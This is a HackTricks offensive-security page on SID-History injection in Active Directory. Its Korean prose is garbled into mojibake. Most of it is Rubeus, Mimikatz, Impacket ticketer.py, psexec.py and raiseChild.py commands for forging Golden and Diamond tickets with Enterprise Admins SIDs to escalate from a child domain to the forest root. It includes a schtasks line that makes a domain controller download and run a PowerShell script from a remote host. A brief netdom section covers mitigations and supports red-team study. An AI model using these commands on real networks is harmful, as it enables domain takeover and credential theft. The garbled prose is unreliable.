SID-History Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SID History Injection Attack
SID History Injection Attack์ ์ด์ ์ ๋๋ฉ์ธ ๊ฐ ์ฌ์ฉ์ ๋ง์ด๊ทธ๋ ์ด์ ์ ์ง์ํ๋ฉด์ ์ด์ ๋๋ฉ์ธ์ ๋ฆฌ์์ค์ ๋ํ ์ง์์ ์ธ ์ ๊ทผ์ ๋ณด์ฅํ๋ ๊ฒ์ ๋๋ค. ์ด๋ ์ฌ์ฉ์์ ์ด์ ๋ณด์ ์๋ณ์(SID)๋ฅผ ์๋ก์ด ๊ณ์ ์ SID History์ ํตํฉํจ์ผ๋ก์จ ์ด๋ฃจ์ด์ง๋๋ค. ํนํ, ์ด ๊ณผ์ ์ ์์ ๋๋ฉ์ธ์์ ๊ณ ๊ธ ๊ถํ ๊ทธ๋ฃน(์: Enterprise Admins ๋๋ Domain Admins)์ SID๋ฅผ SID History์ ์ถ๊ฐํ์ฌ ๋ฌด๋จ ์ ๊ทผ์ ๋ถ์ฌํ๋๋ก ์กฐ์๋ ์ ์์ต๋๋ค. ์ด ์ ์ฉ์ ์์ ๋๋ฉ์ธ ๋ด์ ๋ชจ๋ ๋ฆฌ์์ค์ ๋ํ ์ ๊ทผ์ ๋ถ์ฌํฉ๋๋ค.
์ด ๊ณต๊ฒฉ์ ์คํํ๋ ๋ฐฉ๋ฒ์ Golden Ticket ๋๋ Diamond Ticket์ ์์ฑ ๋ ๊ฐ์ง๊ฐ ์์ต๋๋ค.
โEnterprise Adminsโ ๊ทธ๋ฃน์ SID๋ฅผ ์ฐพ์ผ๋ ค๋ฉด ๋จผ์ ๋ฃจํธ ๋๋ฉ์ธ์ SID๋ฅผ ์ฐพ์์ผ ํฉ๋๋ค. ์๋ณ ํ, Enterprise Admins ๊ทธ๋ฃน SID๋ ๋ฃจํธ ๋๋ฉ์ธ SID์ -519๋ฅผ ์ถ๊ฐํ์ฌ ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋ฃจํธ ๋๋ฉ์ธ SID๊ฐ S-1-5-21-280534878-1496970234-700767426์ธ ๊ฒฝ์ฐ, โEnterprise Adminsโ ๊ทธ๋ฃน์ ๊ฒฐ๊ณผ SID๋ S-1-5-21-280534878-1496970234-700767426-519๊ฐ ๋ฉ๋๋ค.
Domain Admins ๊ทธ๋ฃน๋ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ์ด๋ 512๋ก ๋๋ฉ๋๋ค.
๋ค๋ฅธ ๋๋ฉ์ธ์ ๊ทธ๋ฃน(SID, ์: โDomain Adminsโ)์ ์ฐพ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์:
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
Warning
SID ํ์คํ ๋ฆฌ๋ฅผ ์ ๋ขฐ ๊ด๊ณ์์ ๋นํ์ฑํํ ์ ์์ผ๋ฉฐ, ์ด๋ก ์ธํด ์ด ๊ณต๊ฒฉ์ด ์คํจํ ์ ์์ต๋๋ค.
๋ฌธ์์ ๋ฐ๋ฅด๋ฉด:
- netdom ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ํฌ๋ฆฌ์คํธ ์ ๋ขฐ์์ SIDHistory ๋นํ์ฑํ (
netdom trust /domain: /EnableSIDHistory:no on the domain controller) - netdom ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ธ๋ถ ์ ๋ขฐ์ SID ํํฐ ๊ฒฉ๋ฆฌ ์ ์ฉ (
netdom trust /domain: /quarantine:yes on the domain controller) - ๋จ์ผ ํฌ๋ฆฌ์คํธ ๋ด ๋๋ฉ์ธ ์ ๋ขฐ์ SID ํํฐ๋ง ์ ์ฉ์ ์ง์๋์ง ์๋ ๊ตฌ์ฑ์ผ๋ก ์ธํด ๊ถ์ฅ๋์ง ์์ผ๋ฉฐ, ํ๊ดด์ ์ธ ๋ณ๊ฒฝ์ ์ด๋ํ ์ ์์ต๋๋ค. ํฌ๋ฆฌ์คํธ ๋ด ๋๋ฉ์ธ์ด ์ ๋ขฐํ ์ ์๋ ๊ฒฝ์ฐ, ํด๋น ๋๋ฉ์ธ์ ํฌ๋ฆฌ์คํธ์ ๊ตฌ์ฑ์์ด ๋์ด์๋ ์ ๋ฉ๋๋ค. ์ด ๊ฒฝ์ฐ, ์ ๋ขฐํ ์ ์๋ ๋๋ฉ์ธ๊ณผ ์ ๋ขฐํ ์ ์๋ ๋๋ฉ์ธ์ ๋ณ๋์ ํฌ๋ฆฌ์คํธ๋ก ๋ถ๋ฆฌํ์ฌ SID ํํฐ๋ง์ ์ ์ฉํ ์ ์๋ ์ํธ ํฌ๋ฆฌ์คํธ ์ ๋ขฐ๋ฅผ ์ค์ ํด์ผ ํฉ๋๋ค.
์ด ์ฐํ์ ๋ํ ์์ธํ ์ ๋ณด๋ ์ด ๊ฒ์๋ฌผ์ ํ์ธํ์ธ์: https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4
๋ค์ด์๋ชฌ๋ ํฐ์ผ (Rubeus + KRBTGT-AES256)
๋ง์ง๋ง์ผ๋ก ์ด ์๋๋ฅผ ํ์ ๋, /ldap ์ธ์๋ฅผ ์ถ๊ฐํด์ผ ํ์ต๋๋ค.
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
#e.g.
execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
# You can use "Administrator" as username or any other string
Golden Ticket (Mimikatz) with KRBTGT-AES256
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
๊ณจ๋ ํฐ์ผ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
๋ค์ด์๋ชฌ๋ ํฐ์ผ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
์์๋ ๋๋ฉ์ธ์ KRBTGT ํด์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฃจํธ ๋๋ ์ํฐํ๋ผ์ด์ฆ ๊ด๋ฆฌ์์ DA๋ก ์์น:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
ํ๋ํ ๊ถํ์ผ๋ก ์๋ก์ด ๋๋ฉ์ธ์์ ์๋ฅผ ๋ค์ด DCSync ๊ณต๊ฒฉ์ ์คํํ ์ ์์ต๋๋ค:
๋ฆฌ๋ ์ค์์
ticketer.py ์๋ ์ฌ์ฉ
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
export KRB5CCNAME=hacker.ccache
# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
Automatic using raiseChild.py
์ด๊ฒ์ ์์ ๋๋ฉ์ธ์์ ๋ถ๋ชจ ๋๋ฉ์ธ์ผ๋ก์ ์์น์ ์๋ํํ๋ Impacket ์คํฌ๋ฆฝํธ์ ๋๋ค. ์คํฌ๋ฆฝํธ๋ ๋ค์์ด ํ์ํฉ๋๋ค:
- ๋์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ
- ์์ ๋๋ฉ์ธ์ ๊ด๋ฆฌ์ ์ฌ์ฉ์์ ๋ํ ์๊ฒฉ ์ฆ๋ช
ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ๋ถ๋ชจ ๋๋ฉ์ธ์ Enterprise Admins ๊ทธ๋ฃน์ ๋ํ SID๋ฅผ ์ป์ต๋๋ค.
- ์์ ๋๋ฉ์ธ์ KRBTGT ๊ณ์ ์ ๋ํ ํด์๋ฅผ ๊ฒ์ํฉ๋๋ค.
- Golden Ticket์ ์์ฑํฉ๋๋ค.
- ๋ถ๋ชจ ๋๋ฉ์ธ์ ๋ก๊ทธ์ธํฉ๋๋ค.
- ๋ถ๋ชจ ๋๋ฉ์ธ์ Administrator ๊ณ์ ์ ๋ํ ์๊ฒฉ ์ฆ๋ช ์ ๊ฒ์ํฉ๋๋ค.
target-exec์ค์์น๊ฐ ์ง์ ๋ ๊ฒฝ์ฐ, Psexec๋ฅผ ํตํด ๋ถ๋ชจ ๋๋ฉ์ธ์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์ธ์ฆํฉ๋๋ค.
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
References
- https://adsecurity.org/?p=1772
- https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


